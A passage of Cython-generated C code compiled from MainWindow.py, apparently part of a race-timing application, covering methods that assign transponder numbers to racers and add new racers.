(PyCFunction)__pyx_pw_10MainWindow_10MainWindow_13setRacerTb, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_13setRacerTb(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; CYTHON_UNUSED PyObject *__pyx_v_item = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("setRacerTb (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_item,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_item)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setRacerTb", 1, 2, 2, 1); __PYX_ERR(0, 70, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setRacerTb") < 0)) __PYX_ERR(0, 70, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_item = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setRacerTb", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 70, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("MainWindow.MainWindow.setRacerTb", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_10MainWindow_10MainWindow_12setRacerTb(__pyx_self, __pyx_v_self, __pyx_v_item); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_12setRacerTb(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, CYTHON_UNUSED PyObject *__pyx_v_item) { PyObject *__pyx_v_row = NULL; PyObject *__pyx_v_dlg = NULL; PyObject *__pyx_v_d = NULL; PyObject *__pyx_v_tp = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; PyObject *__pyx_t_5 = NULL; int __pyx_t_6; PyObject *__pyx_t_7 = NULL; __Pyx_RefNannySetupContext("setRacerTb", 0); /* "MainWindow.py":71 * * def setRacerTb(self, item): * row = self.TM_T_passage.currentRow() # <<<<<<<<<<<<<< * dlg = Set_RacerTp() * dlg.main() */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_currentRow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_row = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":72 * def setRacerTb(self, item): * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() # <<<<<<<<<<<<<< * dlg.main() * if dlg.exec_(): */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Set_RacerTp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_dlg = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":73 * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() * dlg.main() # <<<<<<<<<<<<<< * if dlg.exec_(): * if dlg.getDict() == None: */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_main); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "MainWindow.py":74 * dlg = Set_RacerTp() * dlg.main() * if dlg.exec_(): # <<<<<<<<<<<<<< * if dlg.getDict() == None: * return */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_exec); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_4) { /* "MainWindow.py":75 * dlg.main() * if dlg.exec_(): * if dlg.getDict() == None: # <<<<<<<<<<<<<< * return * d = dlg.getDict() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_getDict); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { /* "MainWindow.py":76 * if dlg.exec_(): * if dlg.getDict() == None: * return # <<<<<<<<<<<<<< * d = dlg.getDict() * tp = int( self.TM_T_passage.item(row, 2).text() ) */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; /* "MainWindow.py":75 * dlg.main() * if dlg.exec_(): * if dlg.getDict() == None: # <<<<<<<<<<<<<< * return * d = dlg.getDict() */ } /* "MainWindow.py":77 * if dlg.getDict() == None: * return * d = dlg.getDict() # <<<<<<<<<<<<<< * tp = int( self.TM_T_passage.item(row, 2).text() ) * d['transponder'] = tp */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_getDict); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_d = __pyx_t_3; __pyx_t_3 = 0; /* "MainWindow.py":78 * return * d = dlg.getDict() * tp = int( self.TM_T_passage.item(row, 2).text() ) # <<<<<<<<<<<<<< * d['transponder'] = tp * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_item); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_6 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_6 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_v_row, __pyx_int_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_6, 2+__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_v_row, __pyx_int_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_6, 2+__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_6, __pyx_v_row); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_6, __pyx_int_2); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_text); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyNumber_Int(__pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_tp = __pyx_t_5; __pyx_t_5 = 0; /* "MainWindow.py":79 * d = dlg.getDict() * tp = int( self.TM_T_passage.item(row, 2).text() ) * d['transponder'] = tp # <<<<<<<<<<<<<< * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) * */ if (unlikely(PyObject_SetItem(__pyx_v_d, __pyx_n_u_transponder, __pyx_v_tp) < 0)) __PYX_ERR(0, 79, __pyx_L1_error) /* "MainWindow.py":80 * tp = int( self.TM_T_passage.item(row, 2).text() ) * d['transponder'] = tp * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) # <<<<<<<<<<<<<< * * def addRacer(self): */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_dlg, __pyx_n_s_r_item); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_7}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_tpRacerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_C_concurrents_TP_fmt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Remainder(__pyx_t_7, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_t_2, __pyx_t_5) < 0)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "MainWindow.py":74 * dlg = Set_RacerTp() * dlg.main() * if dlg.exec_(): # <<<<<<<<<<<<<< * if dlg.getDict() == None: * return */ } /* "MainWindow.py":70 * print("Race allready running") * * def setRacerTb(self, item): # <<<<<<<<<<<<<< * row = self.TM_T_passage.currentRow() * dlg = Set_RacerTp() */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("MainWindow.MainWindow.setRacerTb", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_row); __Pyx_XDECREF(__pyx_v_dlg); __Pyx_XDECREF(__pyx_v_d); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "MainWindow.py":82 * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) * * def addRacer(self): # <<<<<<<<<<<<<< * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) */ /* Python wrapper */ static PyObject *__pyx_pw_10MainWindow_10MainWindow_15addRacer(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_10MainWindow_10MainWindow_15addRacer = {"addRacer", (PyCFunction)__pyx_pw_10MainWindow_10MainWindow_15addRacer, METH_O, 0}; static PyObject *__pyx_pw_10MainWindow_10MainWindow_15addRacer(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("addRacer (wrapper)", 0); __pyx_r = __pyx_pf_10MainWindow_10MainWindow_14addRacer(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_10MainWindow_10MainWindow_14addRacer(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_item = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_title = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; int __pyx_t_5; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; Py_ssize_t __pyx_t_9; __Pyx_RefNannySetupContext("addRacer", 0); /* "MainWindow.py":83 * * def addRacer(self): * item = QtWidgets.QListWidgetItem() # <<<<<<<<<<<<<< * item.setText( "Nouveau" ) * self.concurrents.newRecord() */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QListWidgetItem); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_item = __pyx_t_1; __pyx_t_1 = 0; /* "MainWindow.py":84 * def addRacer(self): * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) # <<<<<<<<<<<<<< * self.concurrents.newRecord() * c = dict( self.concurrents._data ) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__3, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "MainWindow.py":85 * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) * self.concurrents.newRecord() # <<<<<<<<<<<<<< * c = dict( self.concurrents._data ) * c['transponder'] = 0 */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_concurrents); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_newRecord); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_1) { __pyx_t_3 = 